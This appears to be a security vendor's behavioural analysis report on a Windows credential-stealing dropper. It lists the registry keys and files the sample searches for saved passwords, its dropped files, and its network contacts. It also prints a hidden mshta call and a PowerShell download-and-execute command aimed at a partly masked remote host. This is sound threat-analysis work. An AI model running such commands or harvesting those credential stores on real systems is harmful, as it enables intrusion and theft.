Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %WINDIR%\win.ini
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '%WINDIR%\syswow64\mshta.exe' http://18#.##1.209.47:1010/hta &AAAAAA C
Injects code into
the following system processes:
- %WINDIR%\syswow64\cmd.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\syswow64\cmd.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\LinasFTP\Site Manager]
- [<HKCU>\Software\FlashPeak\BlazeFtp\Settings]
- [<HKCU>\Software\Ghisler\Total Commander]
- [<HKCU>\Software\Far\Plugins\FTP\Hosts]
- [<HKCU>\Software\Far2\Plugins\FTP\Hosts]
- [<HKCU>\Software\VanDyke\SecureFX]
- [<HKLM>\Software\Wow6432Node\NCH Software\Fling\Accounts]
- [<HKCU>\Software\NCH Software\Fling\Accounts]
- [<HKLM>\Software\Wow6432Node\NCH Software\ClassicFTP\FTPAccounts]
- [<HKCU>\Software\NCH Software\ClassicFTP\FTPAccounts]
- [<HKCU>\Software\SimonTatham\PuTTY\Sessions]
- [<HKLM>\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [<HKCU>\Software\Martin Prikryl]
- [<HKLM>\Software\Wow6432Node\Martin Prikryl]
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- C:\users\public\eskt.exe
- %TEMP%\dipody.dll
- %APPDATA%\yv1lpwi.exe
- %APPDATA%\e6f983\35a09b.exe
- %APPDATA%\e6f983\35a09b.lck
- %APPDATA%\e6f983\35a09b.hdb
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\nsfc45c.tmp\vivo.dll
- %TEMP%\nsfc45c.tmp\system.dll
- %TEMP%\hydroquinone.dll
- %TEMP%\psychochemical
- %TEMP%\mainform.cs
- %TEMP%\modulesdisplay.resx
- %TEMP%\bdadotnetarch1505.gif
- %TEMP%\pr07.png
- %TEMP%\655.26
- %TEMP%\permcalc.exe
- %TEMP%\nsa289f.tmp\system.dll
- %TEMP%\nsa289f.tmp\vivo.dll
Sets the 'hidden' attribute to the following files
- %APPDATA%\e6f983\35a09b.exe
Deletes the following files
- %APPDATA%\e6f983\35a09b.lck
Substitutes the following files
- %APPDATA%\Microsoft\Crypto\RSA\S-1-5-21-1960123792-2022915161-3775307078-1001\f58155b4b1d5a524ca0261c3ee99fb50_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
HTTP GET requests
- http://18#.##1.209.47:1010/hta via 18#.#61.209.47
- http://18#.##1.209.47:1010/get via 18#.#61.209.47
- http://cd#.##scordapp.com/attachments/630911118843576320/643314255852077056/binfb1.exe
- http://cd#.##scordapp.com/attachments/630911118843576320/643361774929969173/bbuild1.exe
HTTP POST requests
- http://we##po.ga/luky/fre.php
UDP
- DNS ASK we##po.ga
- DNS ASK cd#.##scordapp.com
Miscellaneous
Creates and executes the following
- 'C:\users\public\eskt.exe'
- '%APPDATA%\yv1lpwi.exe'
- '%WINDIR%\syswow64\mshta.exe' http://18#.##1.209.47:1010/hta &AAAAAA C' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://18#....' (with hidden window)
- '%APPDATA%\yv1lpwi.exe' ' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe'
